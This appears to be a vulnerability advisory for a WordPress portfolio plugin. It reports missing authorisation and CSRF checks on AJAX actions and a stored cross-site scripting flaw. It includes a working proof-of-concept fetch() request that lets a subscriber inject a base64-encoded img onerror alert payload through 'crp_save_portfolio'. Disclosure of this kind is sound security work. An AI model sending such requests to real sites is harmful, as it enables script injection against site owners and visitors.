The plugin does not have authorisation and CSRF checks in various functions related to AJAX actions, allowing any authenticated users, such as subscriber, to call them. Due to the lack of sanitisation and escaping, it could also allows attackers to perform Cross-Site Scripting attacks on pages where a Portfolio is embed
Step 1: Create a portfolio with at least one project (as admin)
Step 2: Add it to a post/page
Step 3: Run (as subscriber):
fetch("https://example.com/wp-admin/admin-ajax.php", {
"headers": {
"content-type": "application/x-www-form-urlencoded"
},
"body": new URLSearchParams({"action": "crp_save_portfolio", "portfolio": '{"id":"1","title":"p","corder":["1"],"options":null,"extoptions":{"all_cats":{},"type":"album"},"projects":{"1":{"id":"0","pid":"1","title":"PGltZyBzcmMgb25lcnJvcj1hbGVydCgxKT4","description":"p","url":"http://tt.tt","cover":"aHR0cHM6Ly93d3cud2lraXBlZGlhLm9yZy9wb3J0YWwvd2lraXBlZGlhLm9yZy9hc3NldHMvaW1nL1dpa2lwZWRpYS1sb2dvLXYyLnBuZw==","pics":"","categories":[],"cdate":null,"details":""}},"deletions":[],"isDraft":false}'}),
"method": "POST",
"credentials": "include"
}).then(response => response.text())
.then(data => console.log(data));
The XSS will be triggered on the post/page where the Portfolio is embed